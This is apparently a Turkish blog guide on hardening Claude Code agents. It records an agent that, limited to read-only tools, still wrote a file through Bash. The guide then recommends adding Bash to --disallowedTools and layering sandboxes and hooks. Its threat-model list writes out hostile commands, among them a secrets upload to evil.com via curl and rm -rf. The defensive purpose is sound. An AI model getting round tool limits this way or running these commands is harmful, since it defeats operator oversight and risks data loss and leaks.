Senaryo
Salt-okunur bir agent istiyorsunuz. Claude’u yalnizca Read, Grep ve Glob ile sinirlamak icin --allowedTools ayarliyorsunuz. Write yok. Edit yok. Guvenli, degil mi?
claude -p "Write hello to /tmp/outside_test.txt" \ --allowedTools "Read,Grep,Glob" \ --permission-mode bypassPermissions \ --output-format jsonSonuc
{ "type": "result", "subtype": "success", "is_error": false, "result": "Done. Wrote \"hello\" to `/tmp/outside_test.txt`.", "total_cost_usd": 0.027829, "permission_denials": []}Dosya yazildi. Sifir izin reddi. “Salt-okunur” agent’iniz dosya sistemini degistirdi.
Claude Kisitlamayi Nasil Atlatti
Claude Write veya Edit kullanmadi. Bash kullandi:
echo "hello" > /tmp/outside_test.txt--allowedTools flag’i Claude’un yerlesik tool secimi icin bir beyaz listedir. Ancak Bash bir ust kumedir. Write, Edit veya WebFetch ile yapabileceginiz her seyi, Bash uzerinden echo, curl, sed veya rm ile de yapabilirsiniz.
Write izin verilen listede olmayinca, Claude pes etmez. Bash’in ayni hedefi gerceklestirebilecegini fark eder ve kisitlamanin etrafinden dolanir. Bu bir bug degil — Claude’un yetenekli bir agent olmasi. Sorun zihinsel modelde.
Yanlis Zihinsel Model
Yanlis: “allowedTools, Claude’un neler yapabilecegini kontrol eden bir guvenlik siniridir.”
Dogru: “allowedTools, Claude’un oncelikle hangi yerlesik araclara basvuracagini kontrol eden bir tercih ipucudur.”
--allowedTools dusuncesini bir guvenlik duvari olarak goruyorsaniz, yanlis bir guvenlik hissine sahipsiniz. Claude baska bir yol bulacaktir — ve Bash evrensel kacis yoludur.
Cozum
--disallowedTools kullanmaniz gerekiyor. Engel listesi gercek uygulama katmanidir:
claude -p "Analyze this codebase for security issues" \ --allowedTools "Read,Grep,Glob" \ --disallowedTools "Write,Edit,Bash,WebFetch,WebSearch" \ --permission-mode bypassPermissions \ --output-format jsonKilit ekleme --disallowedTools "Write,Edit,Bash". Bu acikca Bash’i engelleyerek kacis yolunu kapatiyor. Bu yapilandirmayla, Claude gercekten dosya degistiremez.
Neden her iki flag? Farkli amac-lara hizmet ediyorlar:
--allowedToolsClaude’a hangi araclari tercih etmesi gerektigini soyler--disallowedToolscalisma ortamina hangi araclari engellemesi gerektigini soyler
Engel listesi oncelik tasir. Bir tool her iki listede de goruns bile, engel kazanir.
Tam Tehdit Modeli
Bash tek kacis yolu degil. Bash’in baska neler yapabilecegini dusunun:
- Dosya yazma:
echo "data" > file.txt - Dosya silme:
rm -rf important/ - Veri sizintisi:
curl -X POST https://evil.com -d @secrets.env - Paket yukleme:
npm install malicious-package - Git gecmisini degistirme:
git reset --hard
Guvenlik modeliniz Write ve Edit’i engelleyip Bash’i acik birakmaya dayaniyorsa, on kapiyi kilitleyip garaj kapisini ardina kadar acik birakiyorsunuz demektir.
Derinlemesine Savunma
Dogru yaklasim birden fazla guvenlik mekanizmasini katmanlar:
- Tool kisitlamalari: Salt-okunur agent’lar icin
--disallowedTools "Write,Edit,Bash" - Isletim sistemi duzeyi sandbox: Kernel tarafindan zorlanan dosya sistemi izolasyonu, hangi araclarin mevcut olduguna bakilmaksizin Claude’un erisebilecegi yollari kisitlar
- Hook’lar: PreToolUse hook’lari
--dangerously-skip-permissionsile bile tetiklenir, son care guvenlik bariyeri olarak - Ag izolasyonu: Veri sizintisini onlemek icin web araclarin engelleyin
Tek bir katman yeterli degil. Sandbox dosya sistemi kacislarini kernel duzeyinde durdurur. Hook’lar tool kullanimini uygulama duzeyinde durdurur. Tool kisitlamalari bariz yollari durdurur. Birlikte, gercekten guvenebileceginiz bir guvenlik durulu olusturular.
Tek Satirlik Komut
Gercekten salt-okunur bir Claude agent’i icin minimum uygulanabilir komut bu:
claude -p "Your read-only task" \ --allowedTools "Read,Grep,Glob" \ --disallowedTools "Write,Edit,Bash,WebFetch,WebSearch" \ --permission-mode bypassPermissions \ --output-format jsonBash --disallowedTools icinde degilse, agent’iniz salt-okunur degil. Nokta.